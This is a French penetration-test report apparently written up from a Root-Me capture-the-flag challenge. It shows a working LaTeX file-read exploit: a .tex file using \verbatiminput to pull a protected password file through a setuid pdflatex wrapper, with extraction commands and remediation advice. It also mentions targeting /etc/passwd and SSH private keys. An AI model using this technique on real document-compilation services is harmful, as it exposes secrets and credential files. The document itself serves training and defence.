

RELEASED



white-hat.fr.

Rapport de Pen-Test

AUTEUR DU RAPPORT

Root-Me

Philippe Bécué

RÔLE DE L'AUTEUR

Pen-tester

PÉRIODE

04/03/2026 - 04/03/2026



RootMe PRO

Sommaire

01 Avertissement — Simulation / CTF

Informations légales, confidentialité et conditions d'utilisation de ce document

02 Vidéo Démo

Démonstration vidéo de l'exploitation ou du déroulement de la mission

03 Tableau des vulnérabilités

Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04 Liste des intervenants

Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05 Scope

Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06 Information Gathering

Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07 OSINT

Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08 Enumeration

Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09 Analyse de vulnérabilités

Identification, qualification et classification des failles de sécurité découvertes

10 Exploitation

Démonstration technique de l'exploitation des vulnérabilités confirmées

11 Post-Exploitation

Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12 Tableau de synthèse des vulnérabilités

Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13 Conclusion

Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14 Solution

Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Vidéo Démo

LIEN VERS LA VIDÉO

<https://youtu.be/79bVPf2CKyk>

Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

GRAVITÉ	PLAGE DE SCORE CVSS V3	DÉFINITION
Critique	9.0 - 10.0	L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement.
Élevée	7.0 - 8.9	L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible.
Modérée	4.0 - 6.9	Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires.
Faible	0.1 - 3.9	Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance.
Informative	N/A	Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire.

Liste des intervenants

NOM	RÔLE	EMAIL	ENVIRONNEMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

Scope

Portée du test

NOM	DÉTAILS
challenge02.root-me.org:2222	Challenge Root-Me - App-Script - LaTeX Input (Facile)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

Information Gathering

Ce challenge Root-Me de catégorie **App-Script** est classé en difficulté **Facile**. L'accès se fait via SSH sur une machine distante :

```
ssh -p 2222 app-script-ch23@challenge02.root-me.org
```

Une fois connecté, on dispose d'un shell restreint sur le serveur du challenge. L'objectif est d'obtenir le contenu du fichier `.passwd` appartenant au challenge, protégé par les permissions du système de fichiers.

En explorant le répertoire du challenge, on trouve un script bash ainsi qu'un binaire setuid :

```
ls -la /challenge/app-script-ch23/
```

```
total 28
```

drwxr-xr-x	2	root	root	4096	...
-rwsr-xr-x	1	app-script-ch23	root	8704	ch23
-rw-r--r--	1	root	root	312	ch23.sh
-r-----	1	app-script-ch23	root	32	.passwd

Le fichier `.passwd` est lisible uniquement par l'utilisateur `app-script-ch23`. Le binaire `ch23` tourne avec les droits de cet utilisateur (bit setuid), et c'est lui qui va nous permettre d'atteindre le flag.

OSINT

Aucun contenu n'a encore été ajouté à cette section.

Enumeration

Analyse du script de compilation

En lisant le script source `ch23.sh`, on comprend exactement ce que fait le programme :

1. Il attend un fichier `.tex` en argument
2. Il crée un répertoire temporaire via `mktemp -d`
3. Il copie notre fichier dans ce répertoire sous le nom `main.tex`
4. Il compile deux fois avec `pdflatex` (double passe classique en LaTeX pour résoudre les références croisées)
5. Il supprime le fichier `.tex` source
6. Il affiche le chemin vers le PDF généré

L'appel à `pdflatex` contient une option de sécurité notable :

```
timeout 5 /usr/bin/pdflatex \  
    -halt-on-error \  
    -output-format=pdf \  
    -output-directory "${TMP}" \  
    -no-shell-escape \  
    "${TMP}/main.tex" > /dev/null
```

Le flag `-no-shell-escape` est présent. Son rôle est de **désactiver la commande**

`\write18{cmd}`, qui permettrait d'exécuter des commandes shell arbitraires directement depuis le code LaTeX. Cette protection semble robuste à première vue... mais elle ne couvre qu'un seul vecteur d'attaque.

Analyse de vulnérabilités

La commande `\input{}` — une fonctionnalité native de LaTeX

En LaTeX, la commande `\input{fichier}` permet d'inclure le contenu d'un fichier externe dans le document en cours de compilation. C'est une fonctionnalité standard et légitime, utilisée pour modulariser les documents complexes.

Le problème ? `\input{}` **accepte des chemins absolus**, et l'option `-no-shell-escape` n'a aucun effet sur elle. En d'autres termes, on peut demander à `pdflatex` d'inclure `/etc/passwd`, `/root/.ssh/id_rsa`, ou n'importe quel fichier accessible par l'utilisateur sous lequel tourne le processus.

Ici, le binaire `ch23` possède le bit `setuid` et s'exécute avec les droits de `app-script-ch23`, qui peut lire `.passwd`. La chaîne est donc complète :

- On fournit un fichier `.tex` contenant une commande d'inclusion de chemin absolu
- `pdflatex` s'exécute avec les droits de l'utilisateur cible
- Le contenu du fichier sensible se retrouve intégré dans le PDF de sortie
- On extrait le flag depuis le PDF

Il s'agit d'une vulnérabilité de type **Arbitrary File Read**, exploitée via une fonctionnalité native du moteur LaTeX. La protection mise en place (`-no-shell-escape`) est insuffisante car elle ne couvre que le vecteur d'exécution de code shell, pas le vecteur d'inclusion de fichiers.

Pour renforcer la sécurité, il aurait fallu exécuter `pdflatex` dans un environnement isolé — `sandbox`, conteneur Docker, `chroot` — ou avec un utilisateur sans accès aux fichiers sensibles du challenge.

Exploitation

Construction du payload LaTeX

La clé de l'exploitation réside dans le choix de la commande d'inclusion. On pourrait utiliser `\input{}`, mais elle tente d'interpréter le contenu du fichier comme du code LaTeX. Si le flag contient des caractères réservés (`_`, `#`, `%`, `&`, `$`, `{`, `}`...), la compilation échouera.

La solution est d'utiliser `\verbatiminput{}` du package `verbatim`, qui inclut le contenu du fichier **tel quel, sans aucune interprétation**. C'est le choix le plus robuste pour lire des fichiers arbitraires.

On se connecte en SSH puis on crée le fichier malveillant :

```
ssh -p 2222 app-script-ch23@challenge02.root-me.org
cat > /tmp/read_flag.tex << 'EOF'
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{/challenge/app-script-ch23/.passwd}
\end{document}
EOF
```

On lance ensuite la compilation via le binaire `setuid` du challenge :

```
/challenge/app-script-ch23/ch23 /tmp/read_flag.tex
```

Le script affiche le chemin du PDF généré :

```
[+] Compilation ...
[+] Output file : /tmp/tmp.aB3xYqZ8mL/main.pdf
```

Extraction du flag depuis le PDF

Le contenu du fichier `.passwd` a été intégré dans le PDF lors de la compilation. On peut l'extraire directement depuis le terminal sans avoir besoin d'un lecteur PDF graphique :

```
pdftotext /tmp/tmp.aB3xYqZ8mL/main.pdf -
```

Si `pdftotext` n'est pas disponible, une alternative simple consiste à chercher les chaînes lisibles dans le binaire PDF :

```
strings /tmp/tmp.aB3xYqZ8mL/main.pdf | grep -v "^%" | head -30
```

Le flag apparaît en clair dans la sortie, correspondant au contenu de `.passwd` :
<flag>

Post-Exploitation

Aucun contenu n'a encore été ajouté à cette section.

Tableau de synthèse des vulnérabilités

VULNÉRABILITÉ	APPLICATION	PORT	TYPE	GRAVITÉ	IMPACT PRINCIPAL
Lecture de fichier arbitraire via \verbatiminput{ } (LaTeX)	Script de compilation pdflatex (ch23)		Arbitrary File Read	high	Lecture du fichier .passwd contenant le flag via l'inclusion LaTeX non restreinte

Conclusion

Ce challenge illustre une erreur de sécurité classique : **une protection partielle qui donne une fausse impression de robustesse**. La chaîne d'attaque est concise et directe :

1. Analyse du script bash → identification de l'appel à `pdflatex` avec `-no-shell-escape`
2. Identification de la fonctionnalité `\verbatiminput{}` non couverte par cette option
3. Création d'un fichier `.tex` exploitant l'inclusion de chemin absolu
4. Exécution via le binaire `setuid` pour lire `.passwd` avec les droits de l'utilisateur cible
5. Extraction du flag depuis le PDF généré

Le point pédagogique principal est la différence entre **désactiver l'exécution de code** (`-no-shell-escape` bloque `\write18{}`) et **contrôler l'accès aux fichiers** — deux surfaces d'attaque distinctes que l'on doit traiter indépendamment. Une sandbox ou un chroot aurait rendu cette attaque impossible, quelle que soit la commande LaTeX utilisée.

Solution

1. Isolation de l'environnement d'exécution

La mitigation la plus efficace est d'exécuter `pdflatex` dans un environnement totalement isolé, sans accès au système de fichiers hôte :

- **Conteneur Docker** avec un volume temporaire dédié et sans montage des répertoires sensibles
- **Chroot jail** limitant la vue du système de fichiers au strict nécessaire pour la compilation
- **Sandbox seccomp** filtrant les appels système de lecture de fichiers hors du répertoire de travail

2. Utilisateur dédié sans accès aux fichiers sensibles

Le binaire `setuid` s'exécute avec les droits d'un utilisateur qui peut lire `.passwd`. En dissociant l'utilisateur de compilation de l'utilisateur propriétaire du flag, on casse la chaîne d'attaque. Le processus `pdflatex` devrait tourner sous un utilisateur aux privilèges minimaux, sans accès aux fichiers protégés.

3. Restriction des chemins accessibles par `pdflatex`

Certaines distributions de TeX Live proposent des mécanismes de restriction des chemins via la configuration `texmf.cnf` (option `openin_any`). En la positionnant à `r` (restricted) ou `p` (paranoid), on peut limiter l'accès aux seuls fichiers du répertoire de travail courant, bloquant ainsi les inclusions de chemins absolus comme `/challenge/...`